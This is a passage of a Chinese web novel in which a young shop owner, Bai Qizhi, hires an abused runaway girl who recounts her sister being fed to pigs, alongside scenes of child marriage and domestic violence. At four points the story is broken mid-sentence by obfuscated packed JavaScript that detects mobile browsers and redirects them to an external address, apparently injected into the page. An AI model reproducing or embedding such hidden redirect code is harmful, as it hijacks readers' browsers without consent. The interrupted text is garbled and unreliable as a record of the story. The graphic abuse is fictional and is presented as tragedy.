听到“香玉坊”三个字时，师父的手下意识地一顿，颤了颤眼皮，回想着喃喃道：“香玉坊，是李掌柜在的那个铺子吧？好久不见了……”她拨了拨碗中的米饭，蓦地问道，“不是败了么？” 师父虽然身居村内，但她时不时地也会进城采买些东西，对于自家宝贝徒弟所在的铺子自然格外关心。 铺子是林家少爷干起来的，最开始声势浩大，后面不知怎么的就突然没落了，再然后这铺子就归到了另一个男人名下。 那男人是个不管事的，据说成天见不到踪影，也不知身在何处，总之在他的管理下，香玉坊彻底的败了。 败了之后，坊内的人也渐渐被遣散，最后一次打听的时候，坊内就剩下李掌柜、紫玉和一老一少两个男人了。 有时候她甚至都会担心紫玉再在那个铺子里会穷到没饭吃。 好在林家家大业大，到底还是能给他们开些俸禄，不仅不至于叫他们饿死，甚至还能让紫玉往她这儿送回来些月俸。 实际上，紫玉给她送来的那些钱她一点都没用。 前半辈子赚的钱已经够她后半辈子生活再搭一副好棺材了，小辈的钱，还是让他们自己留着吧。 但师父没跟紫玉说，她知道紫玉在城内那些事，今天这个少爷明天那个少爷的，她怕紫玉被人骗财骗身，这才没敢将存钱的事告诉她，等她日后收心了，亦或是自己身子实在是败得不行了，再将那些钱和自己这小半辈子的积蓄再交到她手里也不迟。 “哎呀，是败了，但现在又好了！我们有新东家了！” 师父并不知道白栖枝的事，更不知晓她香玉坊前设粥棚的仁义之举，听到紫玉说又来新东家的时候，她内心第一个想法不是高兴，反而是浓浓的担忧。 又来一个新东家，那这香玉坊还能活么？ 实在不行，不如就让她做这个恶人算了，赶紧让紫玉离开那个铺子找别家去做，省得后半辈子没着落。 见师父一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15049117|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸不信，紫玉赶紧坐到饭桌上。 她实在是太饿了一边狼吞虎咽，将自白栖枝接手香玉坊以来的事一五一十地告诉了师父。 师父听完倒是略有动容，却也只是淡淡地说了句：“你们这个东家，人倒是不错的。” 不错。 天知道这在挑剔的师父嘴里是句多么难得的夸奖！ 紫玉高兴得几乎要挺直了胸脯，骄傲地大喊一句：是的，这就是我们的新东家！ 但还没等她骄傲起来，师父一个“但是”叫她瘪了气。 只听师父淡淡道：“但香玉坊的地契到底还在林听澜手里，听你这么说，他似于与你那位东家关系不是很好，倘若那天两人一吵架，若他一迁怒，香玉坊还是要倒的。况且——”她顿了顿，一直绷着的神情露出几分哀伤，“我现在已经没人可以给她了。” 没有人。 天已经完全黑了下来，香玉坊早早打烊休息，坊内诸位也早都各回各家，唯独白栖枝还坐在坊内写告示。 今天金凤姐和宝珠姐在外头问了好几个曾与她们一同做工过的姐妹们要不要来香玉坊做售货娘子。 没有人。 没有人来。 大家都有各自的营生，谁会仅凭着两人一张嘴，就放弃了经营多年的营生，凭着一腔孤勇来到一个看似风光但日后发展还不知如何的胭脂水粉铺子做一个小小的售货娘子呢。 没办法，几人只能在坊外张贴告示，看看会不会有人前来。 若是实在不行，就只能上街如同买丫鬟般动用府内库银来买几位伙计了。 今夜无雨，乌云遮月。 春风裹着湿气从门缝里争先恐后地往坊里挤。 灯火葳蕤。 坊内没有镇纸，一张张纸页被风吹得卷起一角，直往墨笔停留处扑，差点就要污了一张好纸。 白栖枝默默用手将纸页捋平，随便用个算盘压着，继续垂眸落笔，等明日张贴完这些告示，她就要去淮安城内各个大街小巷里去挨家挨户地问了。 左右商贾无脸面，她既当了这香玉坊的东家，就要为香玉坊负全责，至于其他那些个有的没的—— 她顾不上了。 就这般想着，白栖枝将写好的告示拿起，刚要吹干，门外却传来细小的声响。 “请问，李掌柜在么……” 白栖枝没回答，只是放下告示看着门外那个瘦小的身影，仔细打量。 见坊内无动静，那身影默然了片刻，忽地像是鼓足了什么勇气似得，拍门道：“请问，香玉坊李掌柜在么？” 她将嗓音调大了几分，以一种清晰大声又不扰民的声音自报家门道： “我是、我是南台巷里的二丫，今早听闻掌柜的还在招理货伙计，掌柜的，我什么都能学、我什么干！还请掌柜的收留！！！” ——我很勤快的，无论叫我做什么我都能做，就算不会，我也可以学的，请不要把我赶走！ 门口外下跪哭泣的身影与脑海中似曾相识的面容模糊着重叠，白栖枝猛地呆愣在原地，不知该如何是好，直到外头人又唤了一声，她才怔忪地回过神，喃喃着开口： “进。” …… 69. 二丫 门被蹑手蹑脚地打开，白栖枝只见个跟她差不多的人影轻手轻脚地从门缝里探出头来。 两张稚嫩的小脸在目光相撞的瞬间脸上皆是惊愕。 那个名为“二丫”的女孩发出了细弱的询问声：“请问，李掌柜在么？我……” “我是香玉坊的东家，有什么事同我说吧。”白栖枝几乎是压着复杂的心绪，冷冰冰地埋首继续写告示。 她不敢抬头，她害怕一抬头就会看见女孩那张满是淤青的脸。 是的，淤青。 女孩一张小脸上满是被殴打过的痕迹，甚至一只眼睛还肿着，正艰难地睁开一只小缝，怯生生地往里瞧。 “对了。”白栖枝蓦地开口。 寒风卷动的纸边儿发出簌簌声响。 她捋平被风吹开的页角，佯装若无其事道：“有什么话进来说吧，外头风大，你这样开着门，我不好写告示。” “哦哦！”女孩生怕会多耽误她一秒似的赶紧窜进门，又蹑手蹑脚地将坊门关合，上前两步想要走到白栖枝面前，却又顿住，只看着她那张被烛光映得亮堂堂的脸，怯怯地试探着唤了一声，“那个……东家？” 白栖枝依旧佯装面无表情道：“有什么事就说吧。” “东家……我想……我想……”女孩本在嗫喏着，忽地，她一咬唇，抬头，眼中坚定的目光直射向白栖枝的脸庞，“我想进到香玉坊做工，无论做什么我都甘愿，还请还请您收留！” 她的语气坚定，可语调里仍带着畏惧的颤音与哭腔。 语罢，她蓦地用膝盖狠狠锤了下地面，其声音之大叫白栖枝一颗心脏蓦地狠狠一震。 ——只要能庇护我，让我当牛做马我也甘愿！ 曾经的话语又在脑海内回荡不休，白栖枝握笔的手狠狠一顿。 是巧合吗？ 白栖枝不信世上竟会有这种巧合，可是面对面前这位与她素昧平生的姑娘，她总觉得她是在审视着当年狼狈不堪的自己，以至于她甚至在面对她的时候只想疏离，远远地疏离。 可甫一当她抬头对上她那双黑白分明的眸子时，她又忍不住一阵恍惚，恍惚到甚至回忆起来以前她初入林府时的那副狼狈模样。 当年的自己到底是以什么心情说出这句话的呢？ 是在跟野狗抢了好几天吃食的时候？是在遇到山匪后九死一生从他们手中逃脱的时候？是在被人贩子拐走即将卖进大山时她假装感染瘟疫被人贩子扔进乱葬岗和腐烂的尸体睡在一块儿的时候？ 太多了…… 有些事，就算她想数也未必能数得过来。 所以在见到面前这位姑娘满是伤痕的脸时，她能一下子就明白她的诉求。 她想找一个安全的避风港能叫她暂时喘息。 如果香玉坊是她一个人的铺子倒也就罢了，可如今有关香玉坊的契子尽数捏在林听澜，更何况现如今香玉坊刚立起来不久，都说万事开头难，如今正是开始时的紧要关头，更是难上加难，坊内养不得也养不起一个闲人，所以这姑娘能不能留下，就得看她的本领了。 白栖枝闭眼在心内长叹一口，睁眼，却不去看她，只冷声问道：　“会算账么？” “……不会。” “会制粉么？” “……不会。” “会收货么？” “……也不会。” “嘶。”白栖枝忍不住倒吸一口冷气。 她抬头，微蹙起眉头，对上面前人明亮皎洁却又十分胆怯柔弱的目光，淡淡问道：“那……你会什么？” “我、我会洒扫！”女孩急急道，“我会洒扫，我洒扫很干净的！哦对，我还会搬东西！还会做饭洗衣舂米！我什么都能干的，东家，东家你需要什么我可以学，我什么都能学！我什么都能学，求您、求您不要撵我走，我真的什么都能做的！” 她说话语速极快，仿佛身后有一头无形的野兽在追她，见白栖枝仍是一副无动于衷的样子，她眼里登时急出了泪花，当即趴在地上用头磕着地上的青石板，不住地乞求道：“东家，求您、您就收了我吧！我是偷偷跑出来的，不能回家的，我回家会被我爹娘打死的！我真的受够了，求您收了我吧！我、我可以不要工钱，只要您给我能给我一口饭吃，我什么都能做！求您收了我吧！” 白栖枝从来没见过这样的场景，登时被唬得不敢动弹。 手中的墨笔跌落，在她素色的绢布衣裙上留下了一道长长的墨痕，白栖枝却已无暇顾及，她想去搀那姑娘起来，可不知怎么，她脚下就像生了根一样半分都挪动不得，只能这样静静地看着，甚至喉咙都像是被切开一个气口一样，就算把嘴勉强张开，也实在是发不出一个字音来，更遑论让她快点起来。 这一幕实在是熟悉。 当年她在沈哥哥面前拜磕的时候，沈哥哥也是怀着这样的心绪看她的吗？ ——会被吓到的吧？ 性子温淡了许久人，突然间见到这样激烈的场景，第一时间不应是怜悯而是恐惧的吧？ 会被吓到的吧…… “舂、米？”白栖枝一字一顿，努力发声。 她声音异常沙哑怪异，仿佛每个字像是从喉咙深处撕开了一道血淋淋的口子沾满鲜血竭尽全力从她嘴里挤出来一样。 女孩猛地抬头，只听白栖枝缓声道：“你会舂米，应该也会研磨燕脂香料吧？”她顿了顿，俯身捡起跌落至地的笔墨，淡声道，“坊内制粉师如今外出公干了，估计得有个两三日才能回来，待她回来，你去见她，倘若她对你有兴致的话，没准还能收你为徒，到时候你也算是能学个勉强糊口的技艺，可若是她对你没兴趣……那就只能看你洒扫屋子洒扫得干不干净了。” 话虽不甚好听，但也算是给人留有一丝退路。 “多谢东家！多谢东家！” “姓名？芳龄？住……算了，这个问了你也未必想说，就先回答前面两个吧。” “回东家，王二丫，今年刚满十六！” 十六么？ 白栖枝第一眼看她身量还以为她跟自己一般大，没想到却是因为虚劳病而看起来比较瘦小。 不过这也不是什么要紧事，以后多吃点就能好。 “嗯……还是有一件事要率先同你讲一下。”写完最后一张告示，白栖枝拿起来，吹干上头的墨汁，淡淡说道，“我不是很喜欢别人叫我东家，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053463|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名栖枝，店内伙计们大多都叫我枝枝，你也跟着他们这样叫吧。别跪着了，地上又冷又潮，如果膝盖跪出了毛病” 栖枝……枝枝…… 好好听的名字。王二丫在心里默念道。 但倘若真让她叫东家的闺名，一时之间她肯定是叫不出的，她站在那里，手指绞着衣角，不敢开口。 白栖枝自然知道她的纠结，她也没硬逼着让她现在就改口。 “你现在回不了家，应该……没有住的地方？”她将一沓告示捋好用算盘压住，上前看着她。 两个身形差不多大的人这样面对面地站着。 看着面前这个跟自己差不多大却干净贵气的坊主，又想起自己现在这幅不人不鬼的狼狈模样，王二丫羞愧得只想找个地缝钻进去。 她垂下头，眼观鼻鼻观心地垂头看着自己不住蹭动的脚尖，甚至她脚上一双草鞋都是破破烂烂的，羞得她不敢见人似的一下下缩紧着脚趾，生怕白栖枝会因为这事儿厌恶她。 下一秒，一只温热的手抚上了她紫青遍布的脸颊，拇指轻轻摩挲着。 抬头，只见面前人像是放下了方才的梳理冷漠，眼中一川冰雪化水，正一瞬不瞬地看着她的脸兀自思索着喃喃道：“这个时间药坊基本上都打烊了，只有官办的药坊还开着，我想想……啊！左右你现在还没有地方住，留你在坊里我也不放心，你就先跟我回去吧，正好我房里还留了些先前的药膏可以用。不过我现在住的地方不是我的家，是我远方表兄的家，骤然带入进去他可能会不高兴，咱们可以偷偷的进去，但你不能离开我的视线，也不可以动房间里的东西，明白了么？” 王二丫小鸡啄米似的点头：“嗯嗯嗯！”东家能施舍给她一个地方让她暂下她就已经很感恩了，又哪里会去给东家添麻烦？ 白栖枝见她如此听话，心下这才安稳一些。 她回身吹灭烛火，屋内顿时一片漆黑。 白栖枝下意识伸手摸索着往前走去，眼见就要撞到柜角，还是王二丫眼疾手快地搀住她，才叫她免受一番磕碰。 只听二丫满心感激地在她耳畔轻声道：“谢谢姐姐肯收留二丫，二丫今后一定会好好报答姐姐的！” “姐姐？不。”黑夜里，白栖枝看不清对方的神情。 她摇摇头，语气又恢复了之前的冰冷，淡声纠正道：“你叫错了，你比我还年长一两岁，应当是我该叫你姐姐才对。” “哎？哎？！” “啊……是这样的。”出了坊门，白栖枝才看清面前人讶异的神情。 好在出了香玉坊，白栖枝就只是白栖枝。 白栖枝锤了锤谢得发酸的肩膀，长舒了口气，恢复平日里的神情，又揉了揉自己空空的胃朊，整个人委顿下去：“好饿，这个点家里应该已经没有我的饭了，去找找看还有没有什么地方能搞点东西吃吃看……还有，”她转头看向二丫，露出了些许哀怨的神情，“以后想要找人问事的话记得早一点，不然大家会很麻烦的，明白了吗？” “明白明白！二丫一定谨记东……额……” “小姐。” “二丫一定谨记小姐教诲！终身不忘！” …… 70. 愤怒 两人找了个饭馆随便吃两口，就往林府里赶。 打从见到林府开始，王二丫一直在目瞪口呆，她目瞪口呆地跟白栖枝偷偷进了后门，目瞪口呆地偷偷穿过花园时不时还要避着往来的林府丫鬟们，又目瞪口呆地进了林府的西厢房。 关好门，白栖枝总算松了口气，让王二丫随便找个地方坐下，自己则拿了火折子点灯火。 烛台一盏盏被点亮，室内亮如白昼。 吹灭火光，白栖枝总算松了口气，抬头，就对上王二丫那双怯怯又水汪汪的眼睛。 她在堂屋坐着还是显眼，白栖枝拽着她的手来到暗间。 不多时，门外传来下人的声音：“白姑娘，热水打好了。” 王二丫讶异于林府内下人们的速度，又觉得这事儿发生得有些毛骨悚然。 灯还没亮多久，下人们就已经打好热水送过来了，她在家里经常干杂活，自然明白水烧开的时间大概是多久，这么快就能送过来，恐怕是在东家擦亮第一盏烛火的时候就被人发现了吧？如果能在擦亮第一盏烛火的时候就能被发现的话，那岂不是…… 事情最怕往深了想，王二丫越想越觉得可怕。 反倒是白栖枝，这时候已经开门将铜盆端了进来，一副没事人的模样，反而在看到王二丫露出这般神情的时候还有些疑惑。 “怎么了？” 王二丫急忙摇头。 她觉得是自己想多了，毕竟林家是淮安第一富商嘛，府内的丫鬟肯定多得很。这么多人来来往往，能看见也不奇怪，更何况东家这大半夜才回来，林老板肯定会担心的嘛，时不时派人来看一看也不是没有道理。 想着，王二丫只当自己是想多了，松了松死抠着掌心的手指，赶紧麻利起身迎上前：“小姐，我来吧。” “不用。”白栖枝不喜欢有人伺候自己。 与其说是不喜欢，更像是不习惯。 自打白家灭门后，她一路上一直是一个人，后来进了林府，大家都因为林听澜的缘故而对她避之不及，后头虽然一点点好了起来，但她也已经不习惯有人服侍自己了。 哪怕是春花，被她要过来后也只是每日按时送饭，运送账本书籍，再帮她准备合时令的衣物，除此之外便再没有什么事可做，平日里不是跟姐妹们插科打诨就是坐等白栖枝回来，好在正当觉得闲得太无聊时，白栖枝把她拉进香玉坊，让她一下子褪去奴籍，转而做了正经八百的账房娘子，别提有多开心了！ 眼下房间里只有白栖枝和王二丫两人，前者旁若无人地洗漱，倒叫后者有种说不出的拘谨。 王二丫是真心想帮白栖枝做些事的，在家的时候，因大姐早早被卖到夫家，家里便只剩她一个阿姊，平日里家中什么活儿爹娘都会喊她去做，倘若做得慢了，她阿爹阿娘就会扇她巴掌，而这种事情她也早就已经习惯了。 如今明明主子就在面前，却什么都不用她做，反而让她局促不安，内心惶恐得不知该做什么好。 “你也来洗一洗吧。” 前头传来白栖枝轻飘飘的话语，王二丫抬头，就见白栖枝站在铜盆前正将擦脸的布巾递给她。 此刻白栖枝刚洗漱完，一张小脸吸饱了水格外白嫩，越发显得眉心那抹红痣鲜艳夺目。 烛火就在她左上方，灯火打在她身上，王二丫甚至能看到她脸上未退尽的绒毛和鬓角上挂着的亮晶晶的小水珠。 真是个小神仙似的模样啊…… 王二丫感叹着一颗心脏扑通扑通地跳动着。 眼前一阵白光炫目，待抹耀眼光华消逝后，王二丫才发现自己时间耽搁得太久了，怕她生气，急忙匆匆上前。 好在白栖枝对这些小事一直是一种无所谓的态度，见她接过布巾对着铜盆洗脸，自己则兀自转身去柜子里为她拿被褥。 待王二丫就水抹了把脸擦干后，就看着白栖枝抱着比自身还要高的两床厚被子摇摇晃晃地朝前走，一副快要摔倒的样子。 “小姐！” 就在白栖枝重心不稳的刹那，王二丫急忙跑上前去，将她手中的杯子接过。 白栖枝满意地拍了拍手：“这两床被子，你一张铺一张盖，上下其实都随你，今天太累了，等你铺好后咱们就吹灯睡觉。”说完还捂住嘴巴打了个哈欠，眼睛半睁半闭，看起来一副快要睡着了的样子。 王二丫赶紧铺好被子一盏盏吹灭烛火，等她再回到床边时，白栖枝已经钻进被窝，靠墙把自己小小一团，渐渐睡去了。 卯时初，东方悄然露出一抹鱼肚白。 伴随着灶房升起炊烟，一股饭菜香渐渐钻入还赖在床上不肯起来的紫玉的鼻子里。 她一闻就知道，师父肯定是煮了香香抄手，这个味道……应该已经煮好了，在盛呢。 被窝暖烘烘的，紫玉不想起来，但她昨天晚上已经跟师父保证了，今天一定要把诸位师姐妹们抓回来，大家一起去香玉坊赚银子。 在紫玉像个青虫一样在被窝里蠕动时，师父已经端着抄手上桌了。 在紫玉磨磨蹭蹭慢吞吞地穿衣服时，师父已经端起碗筷开始吃了。 在紫玉洗漱完“咚”地一声坐到桌前的时候，师父已经吃完小半碗了。 紫玉觉得师父的喉咙一定是铁板做得，不然为什么这么烫的抄手师父都能眼也不眨地嚼完就咽？ 等到紫玉终于打算开始动筷，师父起身地扔了个小册子给她。 “啪！” 碗内汤水晃动，紫玉几乎吓得握不住筷子。 师父冷冷道：“拿着，上面都是你那些师姐师妹们如今的住处，你要真想去，就拿着这个，到时候别说我没帮你。” “嘿嘿！师父你真好~”紫玉傻笑两声，差点就要像小时候一样扑到师父怀里撒娇了。 师父：“少来。” 紫玉原本以为以她的嘴皮子，叫众姐妹回来肯定不成问题。 但是！ 谁能告诉她，为什么大家所有人都背着她偷偷成亲了？！ 为什么？！ “紫玉师姐……” 姐妹里最小的那位师妹甚至今年刚满十四岁，和东家差不多大，此刻已经绾了妇人的发髻，一张青涩稚嫩的脸上也满是在家中操持许久的疲惫。 小师妹虚开着门，只从门缝里露出一张怯生生的脸来，甚至没敢抬头看她的眼，只低头看着自己脚尖道：“师姐，不是我们不想跟您走，只是这家中实在是离不开人。况且……” 她咬了咬唇，抬手，摸了摸自己的小腹，紫玉明显看到她那处已经隆起了一个小小的弧度。 “况且我已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15056778|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀了他的孩子，乡里的郎中说这一胎可能是个男孩儿呢，婆婆叫我好生休养，争取赶快生出来个大胖小子。” 小师妹说这话时，如同坠入了一个甜蜜而美好的幻境，脸上带着无尽的笑容，直到屋内婆婆叫她赶紧去煮饭，她才从那幸福里骤然惊醒，急忙扭过头应了一声“哎”，这才转头对春花抱歉道： “对不住啊春花姐，不是我不想同你去，是我这样子实在是没办法跟你走，春花姐你还是去问问其他姐妹吧，我还有事，就不聊了。” 说完，不待春花开口，小师妹就赶紧关紧门扉，徒留春花一个人尴尬在那里。 春花愣了好半晌，她听见门内那村夫粗暴的大声骂道：“怎么聊了那么久？不知道要快点做饭么！你个小贱人，饿死你一个不要紧，要是把我儿子给饿坏了，看我以后怎么收拾你！！！” 说完，一记巴掌声响彻院子，女孩隐忍地抽泣，鸡鸭被惊得满地乱乱窜，扯着破锣嗓子声嘶力竭地哀嚎着，就如同——如同孩子呱呱坠地时哭声。 也就是在这一刹那，紫玉终于明白了白栖枝的那句话。 ——不要向上去怜悯，要向下看。 ——只有向下看，才能看得到人间最真挚的苦难。 小师妹才十四岁啊！ 她才十四岁啊！ 她在还是个孩子的年龄时，就已经开始孕育那个从她身体里破腹而出的孩子了！ 而这一切，只是因为她们交不起那每年都要上缴官府的那六百钱！ 不过晌午，紫玉就失魂落魄地回了师父家。 师父一见她这幅样子就知道她已经打探过了。 “师父，怎么会这样呢？”紫玉实在是想不明白，“不就是六百钱么？她们出不起的话可以跟我说的呀，我平时省一省也是能省出来的呀，她们怎么就能因为这六百钱把自己卖给别人做媳妇了呢？” 师父依旧面色浅淡。 “你以为她们是因为那六百钱？”她说，“自你们满十四岁开始，每年我都会去衙门帮你们缴了那六百钱——她们是自愿嫁过去的。” “为什么？”紫玉几乎失声尖叫。 师父反问道：“哪有那么多为什么？”她默了默，低声道，“有时候是两只鸡，有时候是一斗米，还有时候是什么都不图只因为旁人的一两句话就想要找个男人安安稳稳过日子……” “可她们不是会做胭脂水粉么？她们不是能养活自己么？” “紫玉，我说过，咱们的法子太古旧，没人愿意要了。” “可是香玉！” “太晚了。” 晚、晚了？ 紫玉怔在原地。 是啊，太晚了，晚到香玉坊还没迎来新东家的时候，她们就已经受不住了外头那些流言蜚语了。 紫玉也是在这个村里长大的，十四岁的女娃没出嫁，她知道这在村里意味着什么。 面对世俗无力感会在某一个时刻突然燃成对整个世道浓浓的愤怒。 紫玉现在就是这样，她气的几乎将牙齿咬碎，一双手紧紧攥拳，月白色的指甲陷进布满剥茧的掌心内扣除一道道紫青色的月牙。 于是，她愤怒，她厌恶、她开口。 她说： “我真是受够了！” …… 71. 女夭（微恐预警） “我真是受够了！” 晌午回来，游金凤一屁股坐回店里，用手狂扇风，一张俏脸气得火红。 她坐在凳子上，也不管是谁的茶碗，举起来痛饮三大口茶水，气还没喘匀就大骂道：“狗贼的东西，上来就要摸我身子，老不死的，有能耐怎么不摸阎王爷去？敢在姑奶奶这儿找不痛快！他真是活腻了！！” 陪她一起的夏宝珠见状赶紧给她捋背顺气，生怕她一个恼火又要冲出去和那人硬碰硬。 “好了，消消火，消消火，你要是打了他，他还要讹上你嘞！更何况咱们现在又不是自个儿单干了，咱香玉坊的伙计，若做出了什么出格的事儿，倒霉的不还得是枝枝？” 游金凤愤愤道：“要不是看在枝枝的份上，我早拿刀把他狗爪子给剁了！！！”说着，她又倒了一大碗茶水，咕咚咕咚地牛饮入喉，说完，又看了看四周，“咦”了一声，这才开口问道：“东家呢？东家怎么还来？不会出什么事了吧？” 她一直是这样心直口快，大家也都习惯了。 李素染答道：“东家那么聪明能有什么事儿？估计又去忙别的什么事了吧？” “也是。”游金凤咂嘛了一下嘴，又觉得少了什么，“莫小哥儿呢？不会又去花楼了吧？” 李素染提起他就头痛：“他啊，花楼里的常客了。你这来得晚每天还能看见他的影儿，要是在东家来之前，从开张到打烊，你都不一定能见着他。” “嘿！”游金凤一拍大腿，愤愤道，“他这是不务正业！” 李素染点货的手一顿：“也不能这么说吧，反正花楼那边的姑娘一直是他在拉……二十五，二十六，二十七……”说着，她又开始用手一个挨一个地点昨儿新做出来的那批胭脂，淡淡道，“毕竟业绩摆在那儿呢，东家也不好管他，只要不惹什么大事，随他吧。” “阿嚏！” 莫当时在巷子里狠狠打了个喷嚏，挠了挠脑袋不知道是谁在想他。 小巷内，许多姑娘家人来人往，他学着话本子里的多情才子那般口中叼花，见到一个差不多的姑娘就拦下，就一手撑着墙，一手叉着腰，含糊不清地深情问道：“姑娘，小生见您面容姣好、美若天仙，不若给小生一个停留的时间，让小生斗胆同您说上一句话？” 莫当时本就是个面容俊俏无比的惨绿少年，再加上他穿着品味不俗，嘴里还叼着枝不知道什么的花，一下子就能将小巷里的那些小姑娘们迷得七荤八素。 被拦下的姑娘们大多红着脸，垂眸嗫喏道：“公、公子请讲” 只见莫当时将花一拿，在手中转了个漂亮的花儿，情意绵绵道：“咱们香玉坊目前正在招伙计，不知姑娘你……哎哎哎！姑娘，别走啊！我们香玉坊很好的！别走啊！！！” “失心疯！” 远远听见这么句痛骂，莫当时忍不住从怀中掏出可以手持的小铜镜照照自己的脸。 “嗯……”他左右上下地摇头摆头，看着自己镜中那张白里透红的俊脸，一时间沉醉不已。 好长一会儿后，听闻有人，他才恋恋不舍地收了镜子，内心暗道一句“有这么俊俏的失心疯么”，随即又将花一叼，摆好动作，深情款款道：“姑娘，小生……” * “你是说，你的户籍不在淮安……不对，你是说，你没有户籍？” 面对白栖枝的吃痛捏着睛明穴的动作，王二丫吓得不敢吱声，只沉默着垂头看向脚尖，大气也不敢喘。 天知道白栖枝现在有多么头痛。 为了给香玉坊招募伙计，她今早特地去找林听澜请教契子该怎么签订，回来后就开始拟定书写。 二丫看不懂字，却又好奇，问她在写什么。 白栖枝回答她是在写坊内日后招伙计时要签订的契子。 二丫又问契子上都需要填什么。 “姓名、年龄、籍贯、家中情况。” “那……如果……没有户籍……怎么办？” 白栖枝不得不承认她在听完这个问题时当即脑子懵了一瞬，好在她反应极快，轻轻一诈就诈出了二丫是个没有户籍的人。 要知道，在大昭，对于户籍制度方面可是十分严苛，就连白栖枝这种从外地逃难躲敌的人来到这儿之后，第一个想到的就是去衙门说明自己的户籍和缴纳那六百钱。 现如今王二丫告诉她，自己是个没有户籍的人，白栖枝内心只有两个大字—— 完了！ 香玉坊还没栽她就要先栽了，这算什么？包庇！ 她这不是自讨官府通缉么？ 白栖枝现在不是很想说话，也不是很想听王二丫说话，但她还是给了她一个辩解的机会：“所以，原因是？” 经过王二丫一番急到言辞颠倒无措的解释后，白栖枝才渐渐拼凑出来整件事的经过： 二丫的娘在怀二丫的时候折腾得厉害，全家都以为二丫是个男孩，结果生出来一看才知道是个女孩儿，家中已经有了个大丫头，就自然没有要二丫的必要，她奶奶原本想用大钢叉给她叉进猪圈里，但她娘舍不得，好歹是从拼死拼活身上掉下来的肉，怎么能便宜家里那两头猪？自此二丫大小就成了家里仆人。 她爹娘没给她上户籍，因为奶奶不让，奶奶不认她是家里人，等到官府来查户籍人丁的那几天她们叫二丫远远躲进山里去，官府查不到她，自然就以为这世上没这么个人在。 再后来她娘又怀了一大堆女儿，直到第□□胎才能出来一双儿女，而二丫之后的几个妹妹，不是被奶奶卖给了人贩子，就是被娘送给了其他人家养着，倒是有两个留下的，一因为病痨被奶奶丢进山里痨死了，一个因为小时候奶奶不让那个阿娘给她喂奶水饿死了。 二丫是亲眼瞧见的，当时小妹妹咽气的时候，瘦的就只剩一把骨头了，当天夜里，她水喝多了想跑茅房，就见着奶奶站在猪棚外头在往里面扔东西。 那小东西黑漆漆、轻飘飘的一团，扔进去的时候都没有落地的声儿，但猪是知道的，那东西甫一落地，它们就凑上前去啃食。 奶奶转身了。 二丫吓得赶紧躲到柱子后不敢吱一声，等到奶奶走后，她才好奇地凑上前一看。 那天的月亮不亮，只吝啬地落下一缕光，二丫站在猪棚外好奇地往瞅： “唔！” 王二丫跌落在地，死死地捂住嘴不敢让自己的叫声让人听见，而自她的两腿之间，一股热流顺着从裤子里蜿蜒至地面，聚集成一汪小水洼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061253|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她看见！ 猪圈内，两头猪正贪婪地啃食着她妹妹的身体，妹妹被开膛破肚，腹部涌出一坨血红色的黏糊糊的东西，而在瘦小的胸腔内，肋骨从破口处翻出，在漆黑的夜里，映着月光，翻出一根根被朱红濡湿的银光。 她的妹妹，她经常逗弄戏称的小王八，被她的奶奶给—— 喂、猪、了。 “唔……” 白栖枝强忍着喉咙里剧烈的反胃感，狠狠掐着自己的脖子拼命不让自己吐出来。 她逃亡时经过许多村落，也知道有些村落里有着不可饶恕的恶习。 可她从未遇到过像王二丫家里这种可怖的真实事情。 “当时、当时我的妹妹还这么小，又瘦又小，还没一个枕头大。” 说到自己那个最小的妹妹，王二丫不可遏止地从喉咙里溢出哭声，她死命地抓着自己的头发，拼命让自己冷静下来。 可是怎么能冷静得下来！ 那是她的妹妹，和她血脉相连的人！ “就在那天早上，我还在逗她说：‘小王八，等你长大了，二姐一定要给你买好多好多好吃的，一定要把你养的白白胖胖的，到时候二姐就带你离开家里，对，我们离开家，这辈子都不回来！’可是、可是！” “太晚了……太晚了……她没办法长大了……” 